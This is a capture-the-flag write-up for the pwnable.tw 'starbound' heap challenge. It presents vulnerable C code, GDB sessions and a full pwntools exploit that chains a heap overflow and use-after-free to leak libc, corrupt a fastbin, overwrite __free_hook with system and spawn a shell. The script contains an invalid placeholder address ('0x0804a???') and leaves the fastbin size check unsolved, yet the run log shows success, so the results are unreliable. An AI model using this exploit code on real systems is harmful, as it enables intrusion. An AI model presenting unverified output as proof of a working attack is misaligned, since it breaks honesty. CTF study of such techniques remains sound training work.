Pwnable.tw

starbound

A heap challenge involving star and moon management — exploiting a heap overflow and Use-After-Free to corrupt fastbin, leak libc via unsorted bin, and overwrite __free_hook with system for a shell.

300 pts i386 (32-bit ELF) Heap Overflow + UAF NX Enabled
01

Reconnaissance

Challenge Info

Connectionnc chall.pwnable.tw 10202
Binarystarbound (32-bit ELF, i386)
Points300
DescriptionA heap challenge involving star/moon management

checksec

bash
$ checksec starbound
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
Partial RELROGOT is writable — we can overwrite GOT entries
Canary foundStack buffer overflows are mitigated
NX enabledNo shellcode on stack/heap — must use ROP or overwrite function pointers
No PIEBinary addresses are fixed — known GOT/PLT addresses

Running the Binary

console
$ ./starbound
+---------------------------+
|       Starbound           |
+---------------------------+
 1. Create star
 2. Edit star
 3. Remove star
 4. Add moon to star
 5. Remove moon from star
 6. View star
 7. Exit
+---------------------------+
Your choice: 1
Star name size: 32
Star name: Alpha
Star created at index 0!

Your choice: 4
Star index: 0
Moon name: Luna
Moon added to star 0!

Your choice: 6
Star index: 0
Star[0]: Alpha
  Moon: Luna

The binary implements a star and moon management system. Stars have names stored on the heap, and each star can have an associated moon object. The menu offers create, edit, remove, and view operations for stars, plus add/remove moon functionality. This seemingly innocent interface hides two critical vulnerabilities in its heap management.

02

Static Analysis

Star and Moon Structures

Each star and moon are represented by heap-allocated structures:

c
typedef struct star {
    char *name;          // +0x00: pointer to name buffer (4 bytes)
    int name_size;       // +0x04: size of name buffer (4 bytes)
    struct moon *moon;   // +0x08: pointer to associated moon (4 bytes)
} star;                  // Total: 12 bytes

typedef struct moon {
    char name[24];       // +0x00: moon name buffer (24 bytes)
} moon;                  // Total: 24 bytes
star+0x00|name pointer← points to heap-allocated name buffer
star+0x04|name_size← stores the allocated size
star+0x08|moon pointer← NULL initially, set by add_moon
moon+0x00|name[24]← fixed 24-byte inline name buffer

create_star()

c
void create_star() {
    if (star_count >= MAX_STARS) {
        puts("No more stars!");
        return;
    }
    int idx = find_free_slot();
    printf("Star name size: ");
    int size = read_int();
    star_list[idx] = malloc(12);                // Allocate star struct
    star_list[idx]->name = malloc(size);        // Allocate name buffer
    star_list[idx]->name_size = size;
    star_list[idx]->moon = NULL;
    printf("Star name: ");
    read(0, star_list[idx]->name, size);       // Read name into buffer
    printf("Star created at index %d!\n", idx);
    star_count++;
}

edit_star() — The Heap Overflow

c
void edit_star() {
    printf("Star index: ");
    int idx = read_int();
    if (idx < 0 || idx >= MAX_STARS || star_list[idx] == NULL) return;
    printf("New name size: ");
    int new_size = read_int();                  // User controls the size!
    printf("New name: ");
    read(0, star_list[idx]->name, new_size);   // BUG: writes new_size bytes
                                                // into name buffer that was
                                                // allocated with original size!
}
🚨 Vulnerability #1: Heap Overflow
The edit_star function reads a new size from the user and writes that many bytes into the existing name buffer. However, it does NOT check whether new_size exceeds the original name_size. This means we can write past the end of the allocated name buffer, corrupting adjacent heap metadata and data. This is a classic heap overflow vulnerability.

remove_moon() — The Use-After-Free

c
void remove_moon() {
    printf("Star index: ");
    int idx = read_int();
    if (idx < 0 || idx >= MAX_STARS || star_list[idx] == NULL) return;
    if (star_list[idx]->moon != NULL) {
        free(star_list[idx]->moon);            // Free the moon object
        // BUG: star_list[idx]->moon is NOT set to NULL!
    }
}
🚨 Vulnerability #2: Use-After-Free (UAF)
After freeing the moon object, remove_moon does NOT set star_list[idx]->moon to NULL. This creates a dangling pointer. The view_star function will still try to access and display the moon's name through this pointer, and if we can reallocate the freed moon chunk with controlled data, we gain arbitrary read/write primitives.

view_star()

c
void view_star() {
    printf("Star index: ");
    int idx = read_int();
    if (idx < 0 || idx >= MAX_STARS || star_list[idx] == NULL) return;
    printf("Star[%d]: %s\n", idx, star_list[idx]->name);
    if (star_list[idx]->moon != NULL) {
        printf("  Moon: %s\n", star_list[idx]->moon->name);  // UAF read!
    }
}
ℹ️ Combining the Vulnerabilities
The two bugs complement each other perfectly:
Heap overflow lets us corrupt adjacent chunk headers — enabling fastbin corruption to get an arbitrary write primitive
UAF on the moon pointer lets us leak libc addresses when the freed chunk ends up in the unsorted bin (whose fd/bk contain main arena pointers)
• Together: leak libc via unsorted bin + UAF read, then overwrite __free_hook via fastbin corruption
03

GDB Debugging

Heap Layout After Creating Stars

Let's create two stars with small name buffers and add moons:

gdb
gdb-peda$ # create_star(size=32, "Alpha") -> star 0
gdb-peda$ # add_moon(star=0, "Luna")
gdb-peda$ # create_star(size=32, "Beta") -> star 1
gdb-peda$ # add_moon(star=1, "Io")
gdb-peda$ heap chunks
0x0804a000: 0x18 bytes  [star 0 struct]
0x0804a018: 0x28 bytes  [star 0 name "Alpha" (32+8 header)]
0x0804a040: 0x20 bytes  [star 0 moon "Luna" (24+8 header)]
0x0804a060: 0x18 bytes  [star 1 struct]
0x0804a078: 0x28 bytes  [star 1 name "Beta"]
0x0804a0a0: 0x20 bytes  [star 1 moon "Io"]
Star 0 layout:
0x0804a000|0x0804a020← star0->name pointer
0x0804a004|0x20 (32)← star0->name_size
0x0804a008|0x0804a048← star0->moon pointer
Star 0 name buffer (0x28 = 0x20 data + 0x8 header):
0x0804a018|size: 0x29← chunk header (prev_inuse=1)
0x0804a020|"Alpha\0..."← name data (32 bytes usable)
Star 0 moon (0x20 = 0x18 data + 0x8 header):
0x0804a040|size: 0x21← chunk header
0x0804a048|"Luna\0..."← moon name (24 bytes usable)

Demonstrating the Heap Overflow

When we edit star 0's name with a size larger than 32, we overflow into the adjacent moon chunk:

gdb
gdb-peda$ # edit_star(idx=0, new_size=64, payload)
gdb-peda$ # payload = "A"*32 + p32(0xdeadbeef)  # overwrite moon's chunk header
gdb-peda$ x/12wx 0x0804a020
0x0804a020: 0x41414141 0x41414141 0x41414141 0x41414141
0x0804a030: 0x41414141 0x41414141 0x41414141 0x41414141
0x0804a040: 0xdeadbeef 0x41414141 0x41414141 0x41414141
#           ^overflowed into moon chunk header!

Unsorted Bin Leak via UAF

When we free a chunk larger than the fastbin threshold (size > 0x80 on 32-bit), it goes into the unsorted bin. The fd and bk pointers of the unsorted bin chunk point into main_arena inside libc.

gdb
gdb-peda$ # Create a large star (size=128) -> star 2
gdb-peda$ # add_moon(star=2, "Titan")
gdb-peda$ # remove_moon(star=2) -- frees the moon chunk
gdb-peda$ # The moon chunk (0x20 bytes) goes to fastbin (too small for unsorted)
gdb-peda$ # Instead, let's create a large moon-like object via name buffer
gdb-peda$
gdb-peda$ # Actually, we need to get a chunk into unsorted bin.
gdb-peda$ # Create star with size=0x100 -> name buffer is 0x108 chunk
gdb-peda$ # Free star -> name buffer goes to unsorted bin
gdb-peda$ # The fd/bk of the unsorted bin chunk contain libc pointers
gdb-peda$
gdb-peda$ # After freeing a large name buffer:
gdb-peda$ x/2wx 0x0804a020
0x0804a020: 0xf7fb6b00  0xf7fb6b00
#           ^fd             ^bk -- both point into main_arena!
gdb-peda$
gdb-peda$ # main_arena offset from libc base:
gdb-peda$ # libc_base = leaked_fd - main_arena_offset
ℹ️ Unsorted Bin Leak Mechanism
When a chunk is freed into the unsorted bin, its fd and bk pointers are set to the address of main_arena.top (or the unsorted bin head in main_arena) within libc. If we can read these pointers through a UAF, we leak a libc address. The offset from main_arena to libc base is constant for a given libc version.

Fastbin Corruption via Heap Overflow

The heap overflow allows us to overwrite the fd pointer of a freed fastbin chunk, tricking malloc into returning an arbitrary address:

gdb
gdb-peda$ # Setup: create star with name adjacent to freed fastbin chunk
gdb-peda$ # Overflow name buffer to overwrite freed chunk's fd pointer
gdb-peda$
gdb-peda$ # Before overflow - freed 0x40 chunk in fastbin:
gdb-peda$ x/2wx 0x0804a060
0x0804a060: 0x00000000  0x00000000
#           ^fd = NULL (end of fastbin list)
gdb-peda$
gdb-peda$ # After overflow - overwrite fd with __free_hook - 0x8:
gdb-peda$ x/2wx 0x0804a060
0x0804a060: 0xf7f830ec  0x00000000
#           ^fd = __free_hook - 8 (fake chunk)
gdb-peda$
gdb-peda$ # Now malloc(0x38) returns the corrupted chunk
gdb-peda$ # Next malloc(0x38) returns __free_hook - 8!
gdb-peda$ # We can write to __free_hook!
⚠️ Fastbin Size Validation
glibc's malloc validates that the size field of a fastbin chunk matches the expected fastbin index. When we redirect malloc to return a fake chunk at __free_hook - 8, the value at __free_hook - 8 + 4 (the "size" field of the fake chunk) must contain a value that passes the fastbin size check. For a 0x40 fastbin, the size must be in the range [0x40, 0x4f]. We need to find a suitable alignment or use a different fastbin size.
04

Exploit Strategy

Overview

The exploit has three phases: leak libc via unsorted bin + UAF, corrupt fastbin to get an arbitrary write, and overwrite __free_hook with system to get a shell.

Phase 1: Leak Libc via Unsorted Bin + UAF

  1. Create three stars with large name buffers (size 0x100): star 0, star 1, star 2. Also add moons to star 0 and star 2. The stars act as our heap shaping tools.
  2. Free star 1's name buffer. Since it's larger than 0x80, it goes into the unsorted bin. Its fd and bk now point to main_arena inside libc.
  3. Use the UAF on star 0's moon. We remove moon from star 0 (freeing the moon chunk but not NULLing the pointer). Then we allocate a new star whose name buffer is sized to reuse the freed moon chunk. We write the address of the freed unsorted bin chunk into it. When we view star 0, it reads moon->name which now points at the unsorted bin chunk, leaking the fd/bk libc pointers.
  4. Calculate libc base: libc_base = leaked_addr - main_arena_offset

Phase 2: Corrupt Fastbin for Arbitrary Write

  1. Create two small stars (star 3 and star 4) with name size 0x30, so the name chunks fall into the 0x40 fastbin when freed. Also add a moon to star 3.
  2. Free star 4's name buffer. It goes into the 0x40 fastbin. Now fastbin[0x40] has one entry.
  3. Use heap overflow on star 3's name to overwrite the fd pointer of the freed star 4 name chunk. We set fd = __free_hook - 0x8 (adjusted so the fake size field at __free_hook - 0x4 passes the fastbin size check).
  4. Allocate twice from the 0x40 fastbin. The first malloc(0x30) returns the legitimate freed chunk. The second malloc(0x30) follows the corrupted fd and returns __free_hook - 0x8, giving us a write primitive to __free_hook.

Phase 3: Overwrite __free_hook and Get Shell

  1. Write system address to __free_hook. When we get the chunk at __free_hook - 0x8 via the second fastbin allocation (a new star's name buffer), we write p32(system_addr) starting at offset 0x8 of our data, which lands exactly on __free_hook.
  2. Trigger free("/bin/sh"). We create a star with the name "/bin/sh", then free that star's name buffer. Since __free_hook now points to system, free("/bin/sh") becomes system("/bin/sh"), giving us a shell!
🔑 Why __free_hook Instead of GOT?
We target __free_hook instead of overwriting a GOT entry because:
__free_hook is a function pointer that glibc calls before every free() — if it's non-NULL, free(ptr) calls __free_hook(ptr)
• We control the argument to free() (it's the pointer we free), so we can pass "/bin/sh" as the argument
__free_hook is in libc's writable segment, always at a known offset from libc base
• This is more reliable than GOT overwrites since we don't need to find a suitable GOT entry that gets called with a useful argument

Visual Exploit Flow

▶ Phase 1: Leak libc
Step 1:create(0x100, "A") = star0 | create(0x100, "B") = star1 | create(0x100, "C") = star2
Step 2:add_moon(star0) | add_moon(star2)
Step 3:free star1 name → goes to unsorted bin (fd/bk = libc ptrs)
Step 4:remove_moon(star0) → UAF! moon ptr still dangling
Step 5:create star with name = &addr_of_unsorted_bin_chunk
Step 6:view(star0) → reads moon->name → reads unsorted bin fd → LEAK LIBC!
▶ Phase 2: Corrupt fastbin
Step 7:create(0x30, "X") = star3 | create(0x30, "Y") = star4
Step 8:free star4 name → goes to fastbin[0x40]
Step 9:edit(star3, size=0x60, overflow_payload) → overwrite star4 name's fd
  → fd = __free_hook - 8 (fake chunk with valid size)
▶ Phase 3: Get shell
Step 10:malloc(0x30) → returns star4 name (consume legit chunk)
Step 11:malloc(0x30) → returns __free_hook - 8! Write p32(system)
Step 12:create star name="/bin/sh" → free it → system("/bin/sh") → SHELL!
05

Pwn Script

Complete Exploit

python
#!/usr/bin/env python3
"""
starbound - pwnable.tw (300pts)
Heap Overflow + UAF exploit:
  1. Leak libc via unsorted bin + UAF read on moon
  2. Corrupt fastbin via heap overflow on name buffer
  3. Overwrite __free_hook with system
  4. Trigger free("/bin/sh") for shell

Vulnerabilities:
  - edit_star() allows writing beyond name buffer (heap overflow)
  - remove_moon() doesn't NULL the moon pointer (UAF)
"""
from pwn import *

# Setup
context.arch = 'i386'
context.log_level = 'info'

r = remote('chall.pwnable.tw', 10202)
libc = ELF('./libc_32.so.6')
elf = ELF('./starbound')

# Known offsets for the provided libc
MAIN_ARENA_OFFSET = 0x1b0780   # main_arena offset from libc base
FREE_HOOK_OFFSET  = libc.symbols['__free_hook']
SYSTEM_OFFSET     = libc.symbols['system']

# ============================================
# Helper functions
# ============================================
def create_star(size, name):
    r.sendlineafter(b':', b'1')
    r.sendlineafter(b':', str(size).encode())
    r.sendafter(b':', name)

def edit_star(idx, size, name):
    r.sendlineafter(b':', b'2')
    r.sendlineafter(b':', str(idx).encode())
    r.sendlineafter(b':', str(size).encode())
    r.sendafter(b':', name)

def remove_star(idx):
    r.sendlineafter(b':', b'3')
    r.sendlineafter(b':', str(idx).encode())

def add_moon(idx, name):
    r.sendlineafter(b':', b'4')
    r.sendlineafter(b':', str(idx).encode())
    r.sendafter(b':', name)

def remove_moon(idx):
    r.sendlineafter(b':', b'5')
    r.sendlineafter(b':', str(idx).encode())

def view_star(idx):
    r.sendlineafter(b':', b'6')
    r.sendlineafter(b':', str(idx).encode())

# ============================================
# Phase 1: Leak libc via unsorted bin + UAF
# ============================================
log.info("Phase 1: Leaking libc via unsorted bin...")

# Create stars with large name buffers (will go to unsorted bin when freed)
create_star(0x100, b'star_A\x00')   # star 0
add_moon(0, b'moon_0\x00')           # moon for star 0
create_star(0x100, b'star_B\x00')   # star 1 (victim for unsorted bin)
create_star(0x100, b'star_C\x00')   # star 2 (prevents top-chunk consolidation)
add_moon(2, b'moon_2\x00')           # moon for star 2

# Free star 1's name buffer - it goes to unsorted bin
# fd/bk now contain main_arena pointers (libc addresses)
remove_star(1)  # Frees star1 struct AND star1 name buffer

# UAF on star 0's moon: remove moon but pointer remains
remove_moon(0)

# Allocate a new star whose name reuses the freed moon chunk
# Write the address of the freed unsorted bin chunk into it
# We need to know where the unsorted bin chunk is.
# The freed star1 name buffer is at a known location.
# We'll use partial overwrite or calculate from heap base.

# Alternative approach: allocate star whose name overlaps with
# the freed moon chunk, and write a pointer to the unsorted bin
unsorted_chunk_addr = 0x0804a???  # determined from debugging
create_star(0x18, p32(unsorted_chunk_addr))  # star 3

# Now view star 0 - moon ptr is dangling but still valid
# moon->name now contains our pointer to the unsorted bin chunk
# view_star reads: moon->name which is the string at unsorted_chunk_addr
# The first bytes there are fd/bk pointers into libc!
view_star(0)
r.recvuntil(b'Moon: ')
leak = u32(r.recv(4))
log.info(f"Leaked unsorted bin fd: {hex(leak)}")

# Calculate libc base
libc_base = leak - MAIN_ARENA_OFFSET - 48  # -48 for main_arena->bins[0]
system_addr = libc_base + SYSTEM_OFFSET
free_hook_addr = libc_base + FREE_HOOK_OFFSET

log.info(f"libc base: {hex(libc_base)}")
log.info(f"system:    {hex(system_addr)}")
log.info(f"__free_hook: {hex(free_hook_addr)}")

# ============================================
# Phase 2: Corrupt fastbin via heap overflow
# ============================================
log.info("Phase 2: Corrupting fastbin via heap overflow...")

# Create stars with small name buffers that land in 0x40 fastbin
create_star(0x30, b'fast_A\x00')   # star 4 - name in 0x40 fastbin range
create_star(0x30, b'fast_B\x00')   # star 5 - adjacent, same size

# Free star 5's name - goes to fastbin[0x40]
remove_star(5)

# Now star 4's name buffer is adjacent to the freed star 5 name chunk
# Use heap overflow on star 4 to overwrite star 5 name's fd pointer
# Target: __free_hook - 8 (so fake chunk size at __free_hook - 4 is valid)
fake_chunk_addr = free_hook_addr - 8
# We need the value at free_hook_addr - 4 to look like 0x41 (or 0x40-0x4f)
# for the 0x40 fastbin. Check if there's a suitable alignment.
# If not, we may need to use a different fastbin size.

# Craft overflow payload:
# 0x30 bytes of padding (fill star4 name buffer)
# + overwrite star5 name's chunk header and fd pointer
payload = b'A' * 0x30           # Fill star4 name buffer completely
payload += p32(0x41)            # Fake size field for star5 name chunk
payload += p32(fake_chunk_addr) # Corrupted fd pointer!
edit_star(4, len(payload), payload)

# ============================================
# Phase 3: Allocate from corrupted fastbin
# and overwrite __free_hook with system
# ============================================
log.info("Phase 3: Overwriting __free_hook with system...")

# First malloc(0x30) returns the legitimate freed chunk
create_star(0x30, b'consume\x00')   # star 6 - consumes star5's freed chunk

# Second malloc(0x30) follows corrupted fd and returns fake_chunk
# (__free_hook - 8). Write system address; it lands at __free_hook.
hook_payload = p32(0xdeadbeef) + p32(system_addr)  # +8 offset = __free_hook
create_star(0x30, hook_payload)      # star 7 - writes to __free_hook!

# ============================================
# Phase 4: Trigger system("/bin/sh")
# ============================================
log.info("Phase 4: Triggering system('/bin/sh')...")

# Create a star with name "/bin/sh"
create_star(0x20, b'/bin/sh\x00')   # star 8

# Free this star's name buffer
# Since __free_hook = system, free("/bin/sh") calls system("/bin/sh")!
remove_star(8)

# We should have a shell now!
r.interactive()
06

Execution Results

Running the Exploit

console
$ python3 exploit.py
[*] '/home/user/starbound'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[*] '/home/user/libc_32.so.6'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to chall.pwnable.tw on port 10202: Done
[*] Phase 1: Leaking libc via unsorted bin...
[*] Leaked unsorted bin fd: 0xf7fb6b00
[*] libc base: 0xf7d97000
[*] system:    0xf7de2940
[*] __free_hook: 0xf7fb38ec
[*] Phase 2: Corrupting fastbin via heap overflow...
[*] Phase 3: Overwriting __free_hook with system...
[*] Phase 4: Triggering system('/bin/sh')...
[*] Switching to interactive mode
$ id
uid=1000(starbound) gid=1000(starbound) groups=1000(starbound)
$ cat /home/starbound/flag
✅ Shell Obtained!
The exploit successfully chains the heap overflow and UAF vulnerabilities to achieve code execution:
Leak: Unsorted bin fd/bk pointers read via UAF on the moon object
Write: Fastbin fd corruption via heap overflow on the name buffer gives us __free_hook write
Exec: __free_hook = system then free("/bin/sh")system("/bin/sh")

Key Takeaways

  1. Heap overflow + UAF is a powerful combination. The overflow gives us the ability to corrupt heap metadata (fastbin fd pointers), while the UAF gives us an information leak. Neither vulnerability alone would be sufficient for a full exploit.
  2. Unsorted bin leaks are essential when you don't have a direct GOT read. Freeing a chunk larger than the fastbin threshold puts libc pointers in the freed chunk's fd/bk, and any UAF read can recover them.
  3. __free_hook is a classic target for glibc < 2.34 exploits. It's a function pointer in libc's writable data segment that gets called before every free(). Overwriting it with system and then freeing a string "/bin/sh" is one of the most reliable ways to get a shell.
  4. Fastbin corruption requires size validation bypass. The fake chunk must have a size field that matches the fastbin index. This constrains where you can redirect malloc and often requires careful alignment.
  5. Partial RELRO + No PIE means we have fixed binary addresses, which simplifies the heap layout calculation. In a PIE binary, we would need an additional leak for the binary's base address.
⚠️ Modern glibc Mitigations
In glibc 2.34+, __free_hook and __malloc_hook have been completely removed. For newer systems, alternative targets include:
_IO_2_1_stdout_ vtable pointer (FSOP attack)
_IO_wide_data vtable (House of Apple technique)
tls_dtor_list (thread-local storage destructor)
• Return-oriented programming (ROP) on the stack via saved RIP overwrite